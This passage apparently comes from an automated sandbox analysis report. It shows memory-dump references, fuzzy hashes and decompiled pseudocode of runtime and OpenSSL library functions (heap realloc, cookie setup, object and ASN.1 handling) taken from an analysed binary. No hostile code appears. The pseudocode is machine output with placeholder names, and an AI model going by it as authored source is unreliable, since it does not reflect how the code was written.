                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ByteCharMultiWide$ErrorLast
                          • String ID:
                          • API String ID: 1717984340-0
                          • Opcode ID: 65749cdbc0acd147717e08dcc6dcffcb448584adbf0be403ec509044158ee09a
                          • Instruction ID: bcd197e7dc6c406f7368753ee85b07b8f5f34edf754d3078e8a941feb1957140
                          • Opcode Fuzzy Hash: 65749cdbc0acd147717e08dcc6dcffcb448584adbf0be403ec509044158ee09a
                          • Instruction Fuzzy Hash: E641F83AE041099BDF218FA4CC42FFEB779EF89314F11416ADA05A7681DB325D05CBA2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 95%
                          			E6D51FFD5(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
                          				void* _t7;
                          				void* _t8;
                          				intOrPtr* _t9;
                          				intOrPtr* _t12;
                          				void* _t20;
                          				long _t31;
                          
                          				if(_a4 != 0) {
                          					_t31 = _a8;
                          					if(_t31 != 0) {
                          						_push(__ebx);
                          						while(_t31 <= 0xffffffe0) {
                          							if(_t31 == 0) {
                          								_t31 = _t31 + 1;
                          							}
                          							_t7 = HeapReAlloc( *0x6d581060, 0, _a4, _t31);
                          							_t20 = _t7;
                          							if(_t20 != 0) {
                          								L17:
                          								_t8 = _t20;
                          							} else {
                          								if( *0x6d5818a8 == _t7) {
                          									_t9 = E6D522D08();
                          									 *_t9 = E6D522D1B(GetLastError());
                          									goto L17;
                          								} else {
                          									if(E6D525DC1(_t7, _t31) == 0) {
                          										_t12 = E6D522D08();
                          										 *_t12 = E6D522D1B(GetLastError());
                          										L12:
                          										_t8 = 0;
                          									} else {
                          										continue;
                          									}
                          								}
                          							}
                          							goto L14;
                          						}
                          						E6D525DC1(_t6, _t31);
                          						 *((intOrPtr*)(E6D522D08())) = 0xc;
                          						goto L12;
                          					} else {
                          						E6D51FF0B(_a4);
                          						_t8 = 0;
                          					}
                          					L14:
                          					return _t8;
                          				} else {
                          					return E6D51FF43(__ebx, __edx, __edi, _a8);
                          				}
                          			}









                          0x6d51ffdc
                          0x6d51ffea
                          0x6d51ffef
                          0x6d51fffe
                          0x6d520031
                          0x6d520003
                          0x6d520005
                          0x6d520005
                          0x6d520012
                          0x6d520018
                          0x6d52001c
                          0x6d52007c
                          0x6d52007c
                          0x6d52001e
                          0x6d520024
                          0x6d520066
                          0x6d52007a
                          0x00000000
                          0x6d520026
                          0x6d52002f
                          0x6d52004e
                          0x6d520062
                          0x6d520048
                          0x6d520048
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d52002f
                          0x6d520024
                          0x00000000
                          0x6d52004a
                          0x6d520037
                          0x6d520042
                          0x00000000
                          0x6d51fff1
                          0x6d51fff4
                          0x6d51fffa
                          0x6d51fffa
                          0x6d52004b
                          0x6d52004d
                          0x6d51ffde
                          0x6d51ffe8
                          0x6d51ffe8

                          APIs
                          • _malloc.LIBCMT ref: 6D51FFE1
                            • Part of subcall function 6D51FF43: __FF_MSGBANNER.LIBCMT ref: 6D51FF5A
                            • Part of subcall function 6D51FF43: __NMSG_WRITE.LIBCMT ref: 6D51FF61
                            • Part of subcall function 6D51FF43: HeapAlloc.KERNEL32(00F80000,00000000,00000001,00000000,00000000,00000000,?,6D525B8D,?,?,?,00000000,?,6D526270,00000018,6D55BCE0), ref: 6D51FF86
                          • _free.LIBCMT ref: 6D51FFF4
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: AllocHeap_free_malloc
                          • String ID:
                          • API String ID: 2734353464-0
                          • Opcode ID: 22a28777c4448ea1f60c905a370cd0fe70ee0ea914ba56d72bcd65be2b54c2b1
                          • Instruction ID: 7e2ec10958d8099fd7ab8d22bb0999aaee160e5aed6ef00397b80e3f3daea56e
                          • Opcode Fuzzy Hash: 22a28777c4448ea1f60c905a370cd0fe70ee0ea914ba56d72bcd65be2b54c2b1
                          • Instruction Fuzzy Hash: 50117D3341E312ABEF3D1F7DAC1475A3BA5AF42366B52482AE60496DC0DB34CD488790
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00B21104() {
                          				void* _v8;
                          				signed int _v12;
                          				union _LARGE_INTEGER _v16;
                          				struct _FILETIME _v24;
                          				signed int _t20;
                          				signed int _t33;
                          
                          				_v16.LowPart = _v16.LowPart & 0x00000000;
                          				_v12 = _v12 & 0x00000000;
                          				_t20 =  *0xb22000;
                          				if(_t20 == 0 || _t20 == 0xbb40e64e) {
                          					GetSystemTimeAsFileTime( &_v24);
                          					_v8 = _v24.dwHighDateTime ^ _v24.dwLowDateTime;
                          					_v8 = _v8 ^ GetCurrentProcessId();
                          					_v8 = _v8 ^ GetCurrentThreadId();
                          					_v8 = GetTickCount() ^ _v8 ^  &_v8;
                          					QueryPerformanceCounter( &_v16);
                          					_t20 = _v12 ^ _v8 ^ _v16.LowPart;
                          					if(_t20 == 0) {
                          						_t20 = 0xbb40e64e;
                          					}
                          					 *0xb22000 = _t20;
                          				}
                          				_t33 =  !_t20;
                          				 *0xb22004 = _t33;
                          				return _t33;
                          			}









                          0x00b2110c
                          0x00b21110
                          0x00b21114
                          0x00b21121
                          0x00b2112b
                          0x00b21137
                          0x00b21140
                          0x00b21149
                          0x00b2115a
                          0x00b21161
                          0x00b2116d
                          0x00b21170
                          0x00b21172
                          0x00b21172
                          0x00b21174
                          0x00b21174
                          0x00b21179
                          0x00b2117b
                          0x00b21184

                          APIs
                          • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00B2112B
                          • GetCurrentProcessId.KERNEL32 ref: 00B2113A
                          • GetCurrentThreadId.KERNEL32 ref: 00B21143
                          • GetTickCount.KERNEL32 ref: 00B2114C
                          • QueryPerformanceCounter.KERNEL32(00000000), ref: 00B21161
                          Memory Dump Source
                          • Source File: 00000001.00000002.916980334.0000000000B21000.00000020.00020000.sdmp, Offset: 00B20000, based on PE: true
                          • Associated: 00000001.00000002.916965792.0000000000B20000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.916992113.0000000000B23000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
                          • String ID:
                          • API String ID: 1445889803-0
                          • Opcode ID: a5294dff4d222c21c0b4ca9d98b9574ea4acfceee0bfd8cf879e27a5150f20b6
                          • Instruction ID: 58c3824676da03ceb3a1ad7f29ca9731868e217153351bdc143c7f597a7528fd
                          • Opcode Fuzzy Hash: a5294dff4d222c21c0b4ca9d98b9574ea4acfceee0bfd8cf879e27a5150f20b6
                          • Instruction Fuzzy Hash: 2111B375D10218EBDB20DFA8E948A9EBBF8FF18711F514896D505E7210DB349B05DB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 98%
                          			E6D4CB8E0(void* __edx, signed int _a8) {
                          				intOrPtr _v0;
                          				void* __ebx;
                          				void* __edi;
                          				signed int _t33;
                          				signed int _t35;
                          				signed int _t44;
                          				signed int _t46;
                          				signed int _t50;
                          				signed int _t67;
                          				signed int _t68;
                          				signed int _t69;
                          				void* _t77;
                          				signed int _t78;
                          				signed int* _t83;
                          				signed int _t90;
                          				void* _t96;
                          				void* _t97;
                          				void* _t98;
                          
                          				_t76 = __edx;
                          				E6D51FEE0(4);
                          				_t83 = _a8;
                          				_t90 = 0;
                          				_t60 = 0;
                          				if(_t83 != 0) {
                          					__eflags = _t83[5] & 0x00000001;
                          					if((_t83[5] & 0x00000001) != 0) {
                          						_push(_t77);
                          						_t78 = E6D4C74A0(0, __edx, _t77);
                          						__eflags = _t78;
                          						if(__eflags != 0) {
                          							_t33 = E6D4C2430(_t83[3], ".\\crypto\\objects\\obj_lib.c", 0x53);
                          							_t97 = _t96 + 0xc;
                          							_a8 = _t33;
                          							__eflags = _t33;
                          							if(__eflags == 0) {
                          								L20:
                          								E6D4C3670(_t60, _t76, _t78, __eflags, 8, 0x65, 0x41, ".\\crypto\\objects\\obj_lib.c", 0x73);
                          								_t98 = _t97 + 0x14;
                          								__eflags = _t90;
                          								if(_t90 != 0) {
                          									E6D4C23B0(_t90);
                          									_t98 = _t98 + 4;
                          								}
                          								__eflags = _t60;
                          								if(_t60 != 0) {
                          									E6D4C23B0(_t60);
                          									_t98 = _t98 + 4;
                          								}
                          								_t35 = _a8;
                          								__eflags = _t35;
                          								if(_t35 != 0) {
                          									E6D4C23B0(_t35);
                          									_t98 = _t98 + 4;
                          								}
                          								E6D4C23B0(_t78);
                          								__eflags = 0;
                          								return 0;
                          							} else {
                          								_t67 = _t83[4];
                          								__eflags = _t67;
                          								if(_t67 != 0) {
                          									E6D51F530(_t33, _t67, _t83[3]);
                          									_t33 = _a8;
                          									_t97 = _t97 + 0xc;
                          								}
                          								 *(_t78 + 0x10) = _t33;
                          								 *(_t78 + 0xc) = _t83[3];
                          								 *(_t78 + 8) = _t83[2];
                          								 *_t78 = _t60;
                          								 *(_t78 + 4) = _t60;
                          								_t68 = _t83[1];
                          								__eflags = _t68;
                          								if(_t68 == 0) {
                          									L14:
                          									_t69 =  *_t83;
                          									__eflags = _t69;
                          									if(_t69 == 0) {
                          										L19:
                          										_t44 = _t83[5] | 0x0000000d;
                          										__eflags = _t44;
                          										 *(_t78 + 0x14) = _t44;
                          										return _t78;
                          									} else {
                          										_t76 = _t69 + 1;
                          										do {
                          											_t46 =  *_t69;
                          											_t69 = _t69 + 1;
                          											__eflags = _t46;
                          										} while (_t46 != 0);
                          										_v0 = _t69 - _t76 + 1;
                          										_t60 = E6D4C2430(_t69 - _t76 + 1, ".\\crypto\\objects\\obj_lib.c", 0x68);
                          										_t97 = _t97 + 0xc;
                          										__eflags = _t60;
                          										if(__eflags == 0) {
                          											goto L20;
                          										} else {
                          											E6D51F530(_t60,  *_t83, _v0);
                          											 *_t78 = _t60;
                          											goto L19;
                          										}
                          									}
                          								} else {
                          									_t76 = _t68 + 1;
                          									do {
                          										_t50 =  *_t68;
                          										_t68 = _t68 + 1;
                          										__eflags = _t50;
                          									} while (_t50 != 0);
                          									_v0 = _t68 - _t76 + 1;
                          									_t90 = E6D4C2430(_t68 - _t76 + 1, ".\\crypto\\objects\\obj_lib.c", 0x5f);
                          									_t97 = _t97 + 0xc;
                          									__eflags = _t90;
                          									if(__eflags == 0) {
                          										goto L20;
                          									} else {
                          										E6D51F530(_t90, _t83[1], _v0);
                          										_t97 = _t97 + 0xc;
                          										 *(_t78 + 4) = _t90;
                          										goto L14;
                          									}
                          								}
                          							}
                          						} else {
                          							E6D4C3670(0, __edx, _t78, __eflags, 8, 0x65, 0xd, ".\\crypto\\objects\\obj_lib.c", 0x50);
                          							__eflags = 0;
                          							return 0;
                          						}
                          					} else {
                          						return _t83;
                          					}
                          				} else {
                          					return 0;
                          				}
                          			}





















                          0x6d4cb8e0
                          0x6d4cb8e5
                          0x6d4cb8ed
                          0x6d4cb8f1
                          0x6d4cb8f3
                          0x6d4cb8f7
                          0x6d4cb900
                          0x6d4cb904
                          0x6d4cb90d
                          0x6d4cb913
                          0x6d4cb915
                          0x6d4cb917
                          0x6d4cb940
                          0x6d4cb945
                          0x6d4cb948
                          0x6d4cb94c
                          0x6d4cb94e
                          0x6d4cba1a
                          0x6d4cba27
                          0x6d4cba2c
                          0x6d4cba2f
                          0x6d4cba31
                          0x6d4cba34
                          0x6d4cba39
                          0x6d4cba39
                          0x6d4cba3c
                          0x6d4cba3e
                          0x6d4cba41
                          0x6d4cba46
                          0x6d4cba46
                          0x6d4cba49
                          0x6d4cba4d
                          0x6d4cba4f
                          0x6d4cba52
                          0x6d4cba57
                          0x6d4cba57
                          0x6d4cba5b
                          0x6d4cba63
                          0x6d4cba6a
                          0x6d4cb954
                          0x6d4cb954
                          0x6d4cb957
                          0x6d4cb959
                          0x6d4cb960
                          0x6d4cb965
                          0x6d4cb969
                          0x6d4cb969
                          0x6d4cb96c
                          0x6d4cb972
                          0x6d4cb978
                          0x6d4cb97b
                          0x6d4cb97d
                          0x6d4cb980
                          0x6d4cb983
                          0x6d4cb985
                          0x6d4cb9c9
                          0x6d4cb9c9
                          0x6d4cb9cb
                          0x6d4cb9cd
                          0x6d4cba09
                          0x6d4cba0c
                          0x6d4cba0c
                          0x6d4cba0f
                          0x6d4cba19
                          0x6d4cb9cf
                          0x6d4cb9cf
                          0x6d4cb9d2
                          0x6d4cb9d2
                          0x6d4cb9d4
                          0x6d4cb9d5
                          0x6d4cb9d5
                          0x6d4cb9e6
                          0x6d4cb9ef
                          0x6d4cb9f1
                          0x6d4cb9f4
                          0x6d4cb9f6
                          0x00000000
                          0x6d4cb9f8
                          0x6d4cb9ff
                          0x6d4cba07
                          0x00000000
                          0x6d4cba07
                          0x6d4cb9f6
                          0x6d4cb987
                          0x6d4cb987
                          0x6d4cb990
                          0x6d4cb990
                          0x6d4cb992
                          0x6d4cb993
                          0x6d4cb993
                          0x6d4cb9a4
                          0x6d4cb9ad
                          0x6d4cb9af
                          0x6d4cb9b2
                          0x6d4cb9b4
                          0x00000000
                          0x6d4cb9b6
                          0x6d4cb9be
                          0x6d4cb9c3
                          0x6d4cb9c6
                          0x00000000
                          0x6d4cb9c6
                          0x6d4cb9b4
                          0x6d4cb985
                          0x6d4cb919
                          0x6d4cb926
                          0x6d4cb92e
                          0x6d4cb935
                          0x6d4cb935
                          0x6d4cb906
                          0x6d4cb90c
                          0x6d4cb90c
                          0x6d4cb8f9
                          0x6d4cb8ff
                          0x6d4cb8ff

                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID: .\crypto\objects\obj_lib.c
                          • API String ID: 0-1655395264
                          • Opcode ID: 934f368595bae0c0400aadabd66907d08c3f5277e42f5db08580b6337f5f880c
                          • Instruction ID: ddff210d16b401351d2e754db77c5f0568b0af9cbf4d18ff2f694d866d41362c
                          • Opcode Fuzzy Hash: 934f368595bae0c0400aadabd66907d08c3f5277e42f5db08580b6337f5f880c
                          • Instruction Fuzzy Hash: 0041087A6087025FE714CF64FC40F37B7A4EF80319F10453DEA99D6642EB62D8158B92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E6D4C4110(char _a4, signed int _a8, intOrPtr _a12, signed int _a16, signed int _a28, intOrPtr _a32, char _a36, char* _a40, intOrPtr _a44, char _a52, signed int _a56, signed int _a60, intOrPtr _a64) {
                          				char _v0;
                          				void* __ebx;
                          				void* __edi;
                          				intOrPtr* _t41;
                          				intOrPtr* _t46;
                          				char _t47;
                          				void* _t51;
                          				signed int _t62;
                          				intOrPtr _t63;
                          				void* _t64;
                          				void* _t66;
                          				signed int _t68;
                          				signed int _t69;
                          				signed int _t70;
                          				char _t71;
                          				signed int _t75;
                          				signed int _t76;
                          				signed int _t78;
                          				signed int _t79;
                          				void* _t80;
                          				void* _t81;
                          
                          				E6D51FEE0(0x30);
                          				_t41 = _a52;
                          				_t69 = _t68 | 0xffffffff;
                          				_t78 = 0;
                          				_t79 = 0;
                          				if( *_t41 != 0x10) {
                          					L4:
                          					E6D4C3670(_t69, _t77, _t78, _t85, 0xd, 0x86, 0x6d, ".\\crypto\\asn1\\evp_asn1.c", 0xbc);
                          					_t81 = _t80 + 0x14;
                          					L5:
                          					if(_t79 != 0) {
                          						E6D4C94F0(_t79);
                          						_t81 = _t81 + 4;
                          					}
                          					if(_t78 != 0) {
                          						E6D4C94F0(_t78);
                          						_t81 = _t81 + 4;
                          					}
                          					return _t69;
                          				}
                          				_t46 =  *((intOrPtr*)(_t41 + 4));
                          				if(_t46 == 0) {
                          					goto L4;
                          				}
                          				_t71 =  *((intOrPtr*)(_t46 + 8));
                          				_t77 =  &_a52;
                          				_a52 = _t71;
                          				_t47 =  *_t46;
                          				_v0 = _t47;
                          				_a32 = _t47 + _t71;
                          				_t9 =  &_a4; // 0x6d4c202b
                          				_a40 =  &_a52;
                          				_a4 = _t71;
                          				_a12 = 0x6d;
                          				_t51 = E6D4C9980(_t9,  &_v0);
                          				_t80 = _t80 + 8;
                          				_t85 = _t51;
                          				if(_t51 != 0) {
                          					_a36 = _a4;
                          					_t78 = E6D4C9CC0(0,  &_a4, _a28);
                          					_t80 = _t80 + 0xc;
                          					__eflags = _t78;
                          					if(__eflags == 0) {
                          						goto L4;
                          					}
                          					_t77 = _a4;
                          					_t73 = _a28 + _a36 - _t77;
                          					_a36 = _t77;
                          					_a28 = _a28 + _a36 - _t77;
                          					_t79 = E6D4C9CE0(0,  &_a4, _t73);
                          					_t80 = _t80 + 0xc;
                          					__eflags = _t79;
                          					if(__eflags == 0) {
                          						goto L4;
                          					}
                          					_t75 = _a28 + _a36 - _a4;
                          					__eflags = _a16 & 0x00000001;
                          					_a28 = _t75;
                          					if((_a16 & 0x00000001) != 0) {
                          						_t62 = E6D4C96D0( &_a4, _t75);
                          						_t80 = _t80 + 8;
                          						_a8 = _t62;
                          					} else {
                          						__eflags = _t75;
                          						_t62 = 0 | _t75 <= 0x00000000;
                          					}
                          					__eflags = _t62;
                          					if(__eflags == 0) {
                          						goto L4;
                          					} else {
                          						_t70 = _a56;
                          						__eflags = _t70;
                          						if(_t70 != 0) {
                          							_t66 = E6D4C9E40(_t78);
                          							_t81 = _t80 + 4;
                          							 *_t70 = _t66;
                          						}
                          						_t69 =  *_t79;
                          						_t63 = _a64;
                          						__eflags = _t63 - _t69;
                          						_t76 = _a60;
                          						_t64 =  >  ? _t69 : _t63;
                          						__eflags = _t76;
                          						if(_t76 != 0) {
                          							E6D51F530(_t76,  *((intOrPtr*)(_t79 + 8)), _t64);
                          							_t81 = _t80 + 0xc;
                          						}
                          						goto L5;
                          					}
                          				}
                          				_a44 = 0xa3;
                          				goto L4;
                          			}
























                          0x6d4c4115
                          0x6d4c411a
                          0x6d4c4121
                          0x6d4c4124
                          0x6d4c4126
                          0x6d4c412b
                          0x6d4c4179
                          0x6d4c418c
                          0x6d4c4191
                          0x6d4c4194
                          0x6d4c4196
                          0x6d4c4199
                          0x6d4c419e
                          0x6d4c419e
                          0x6d4c41a3
                          0x6d4c41a6
                          0x6d4c41ab
                          0x6d4c41ab
                          0x6d4c41b6
                          0x6d4c41b6
                          0x6d4c412d
                          0x6d4c4132
                          0x00000000
                          0x00000000
                          0x6d4c4134
                          0x6d4c4137
                          0x6d4c413b
                          0x6d4c413f
                          0x6d4c4141
                          0x6d4c4147
                          0x6d4c4150
                          0x6d4c4154
                          0x6d4c4159
                          0x6d4c415d
                          0x6d4c4165
                          0x6d4c416a
                          0x6d4c416d
                          0x6d4c416f
                          0x6d4c41bf
                          0x6d4c41cf
                          0x6d4c41d1
                          0x6d4c41d4
                          0x6d4c41d6
                          0x00000000
                          0x00000000
                          0x6d4c41dc
                          0x6d4c41e6
                          0x6d4c41e8
                          0x6d4c41f1
                          0x6d4c41fd
                          0x6d4c41ff
                          0x6d4c4202
                          0x6d4c4204
                          0x00000000
                          0x00000000
                          0x6d4c4216
                          0x6d4c4218
                          0x6d4c421d
                          0x6d4c4221
                          0x6d4c4232
                          0x6d4c4237
                          0x6d4c423a
                          0x6d4c4223
                          0x6d4c4225
                          0x6d4c4227
                          0x6d4c4227
                          0x6d4c423e
                          0x6d4c4240
                          0x00000000
                          0x6d4c4246
                          0x6d4c4246
                          0x6d4c424a
                          0x6d4c424c
                          0x6d4c424f
                          0x6d4c4254
                          0x6d4c4257
                          0x6d4c4257
                          0x6d4c4259
                          0x6d4c425b
                          0x6d4c425f
                          0x6d4c4261
                          0x6d4c4265
                          0x6d4c4268
                          0x6d4c426a
                          0x6d4c4275
                          0x6d4c427a
                          0x6d4c427a
                          0x00000000
                          0x6d4c426a
                          0x6d4c4240
                          0x6d4c4171
                          0x00000000

                          APIs
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memmove
                          • String ID: + Lm$.\crypto\asn1\evp_asn1.c$m
                          • API String ID: 4104443479-1284658559
                          • Opcode ID: 8ee2b24dfef5bdd6c95b31e7ee7e40c2864bcb8267a30c6a169399a46d6d20c1
                          • Instruction ID: e397430629556db7a5a5b4ca02458da6376756cc04ac2ecf1122cda312285b9f
                          • Opcode Fuzzy Hash: 8ee2b24dfef5bdd6c95b31e7ee7e40c2864bcb8267a30c6a169399a46d6d20c1
                          • Instruction Fuzzy Hash: 38413E79608302ABE304CF59D980E6B77E4AF98758F05092DF99897351E735ED088B93
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 78%
                          			E6D4C1B30(signed int _a4, intOrPtr _a8, signed int* _a12, intOrPtr _a16, signed int _a20) {
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				void* __ebp;
                          				signed int _t33;
                          				signed int* _t48;
                          				signed int _t52;
                          				signed int* _t53;
                          				void* _t58;
                          				signed int _t59;
                          				void* _t60;
                          				intOrPtr _t61;
                          				intOrPtr _t62;
                          				intOrPtr* _t63;
                          				void* _t64;
                          				intOrPtr _t65;
                          				void* _t68;
                          
                          				_t63 = _a4;
                          				_t61 =  *_t63;
                          				if(( *(_t61 + 0x10) & 0x00100000) == 0) {
                          					_t52 = _a20;
                          					__eflags = _t52;
                          					if(_t52 > 0) {
                          						__eflags =  *(_t63 + 0x5c) & 0x00000100;
                          						if(( *(_t63 + 0x5c) & 0x00000100) == 0) {
                          							_t62 =  *((intOrPtr*)(_t61 + 4));
                          							__eflags = _t62 - 0x20;
                          							if(__eflags > 0) {
                          								E6D4C2B60(_t52, _t58, _t60, _t62, _t63, _t64, __eflags, ".\\crypto\\evp\\evp_enc.c", 0x1c9, "b <= sizeof ctx->final");
                          								_t68 = _t68 + 0xc;
                          							}
                          							__eflags =  *(_t63 + 0x64);
                          							_push(_t64);
                          							_t65 = _a8;
                          							if( *(_t63 + 0x64) == 0) {
                          								_a4 = 0;
                          							} else {
                          								E6D51F530(_t65, _t63 + 0x6c, _t62);
                          								_t68 = _t68 + 0xc;
                          								_a4 = 1;
                          								_t65 = _t65 + _t62;
                          							}
                          							_push(_t52);
                          							_push(_a16);
                          							_t53 = _a12;
                          							_push(_t53);
                          							_push(_t65);
                          							_push(_t63);
                          							_t33 = E6D4C1D80(_t53, _t60);
                          							__eflags = _t33;
                          							if(_t33 != 0) {
                          								__eflags = _t62 - 1;
                          								if(_t62 <= 1) {
                          									L18:
                          									 *(_t63 + 0x64) = 0;
                          								} else {
                          									__eflags =  *(_t63 + 0xc);
                          									if( *(_t63 + 0xc) != 0) {
                          										goto L18;
                          									} else {
                          										 *_t53 =  *_t53 - _t62;
                          										 *(_t63 + 0x64) = 1;
                          										E6D51F530(_t63 + 0x6c,  *_t53 + _t65, _t62);
                          									}
                          								}
                          								__eflags = _a4;
                          								if(_a4 != 0) {
                          									 *_t53 =  *_t53 + _t62;
                          									__eflags =  *_t53;
                          								}
                          								return 1;
                          							} else {
                          								return _t33;
                          							}
                          						} else {
                          							_push(_t52);
                          							_push(_a16);
                          							_push(_a12);
                          							_push(_a8);
                          							_push(_t63);
                          							return E6D4C1D80(_t52, _t60);
                          						}
                          					} else {
                          						 *_a12 = 0;
                          						__eflags = _t52;
                          						_t13 = _t52 == 0;
                          						__eflags = _t13;
                          						return 0 | _t13;
                          					}
                          				} else {
                          					_t59 =  *((intOrPtr*)( *((intOrPtr*)(_t61 + 0x18))))(_t63, _a8, _a16, _a20);
                          					_t48 = _a12;
                          					if(_t59 >= 0) {
                          						 *_t48 = _t59;
                          						return 1;
                          					} else {
                          						 *_t48 = 0;
                          						return 0;
                          					}
                          				}
                          			}




















                          0x6d4c1b31
                          0x6d4c1b36
                          0x6d4c1b3f
                          0x6d4c1b76
                          0x6d4c1b7a
                          0x6d4c1b7c
                          0x6d4c1b93
                          0x6d4c1b9a
                          0x6d4c1bb6
                          0x6d4c1bb9
                          0x6d4c1bbc
                          0x6d4c1bcd
                          0x6d4c1bd2
                          0x6d4c1bd2
                          0x6d4c1bd5
                          0x6d4c1bd9
                          0x6d4c1bda
                          0x6d4c1bde
                          0x6d4c1bfa
                          0x6d4c1be0
                          0x6d4c1be6
                          0x6d4c1beb
                          0x6d4c1bee
                          0x6d4c1bf6
                          0x6d4c1bf6
                          0x6d4c1c02
                          0x6d4c1c03
                          0x6d4c1c07
                          0x6d4c1c0b
                          0x6d4c1c0c
                          0x6d4c1c0d
                          0x6d4c1c0e
                          0x6d4c1c16
                          0x6d4c1c18
                          0x6d4c1c1f
                          0x6d4c1c22
                          0x6d4c1c47
                          0x6d4c1c47
                          0x6d4c1c24
                          0x6d4c1c24
                          0x6d4c1c28
                          0x00000000
                          0x6d4c1c2a
                          0x6d4c1c2a
                          0x6d4c1c2c
                          0x6d4c1c3d
                          0x6d4c1c42
                          0x6d4c1c28
                          0x6d4c1c4e
                          0x6d4c1c53
                          0x6d4c1c55
                          0x6d4c1c55
                          0x6d4c1c55
                          0x6d4c1c60
                          0x6d4c1c1a
                          0x6d4c1c1e
                          0x6d4c1c1e
                          0x6d4c1b9c
                          0x6d4c1b9c
                          0x6d4c1b9d
                          0x6d4c1ba1
                          0x6d4c1ba5
                          0x6d4c1ba9
                          0x6d4c1bb5
                          0x6d4c1bb5
                          0x6d4c1b7e
                          0x6d4c1b82
                          0x6d4c1b8a
                          0x6d4c1b8e
                          0x6d4c1b8e
                          0x6d4c1b92
                          0x6d4c1b92
                          0x6d4c1b41
                          0x6d4c1b53
                          0x6d4c1b58
                          0x6d4c1b5e
                          0x6d4c1b6c
                          0x6d4c1b74
                          0x6d4c1b61
                          0x6d4c1b61
                          0x6d4c1b6a
                          0x6d4c1b6a
                          0x6d4c1b5e

                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID: .\crypto\evp\evp_enc.c$b <= sizeof ctx->final
                          • API String ID: 0-1455458990
                          • Opcode ID: 1e9a868387fd74533ff5370c472a50f0d5fd5b14ed413c7c7f3bcbd6ad8208a3
                          • Instruction ID: f410446a133859c6fd99f33e063bde66d06564cd0e18ddb29c52a36ecd387dee
                          • Opcode Fuzzy Hash: 1e9a868387fd74533ff5370c472a50f0d5fd5b14ed413c7c7f3bcbd6ad8208a3
                          • Instruction Fuzzy Hash: A6318D766083019FE7118E19FC40FABB7E8FF85318F01086EF58492210E3B5ED958BA2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 97%
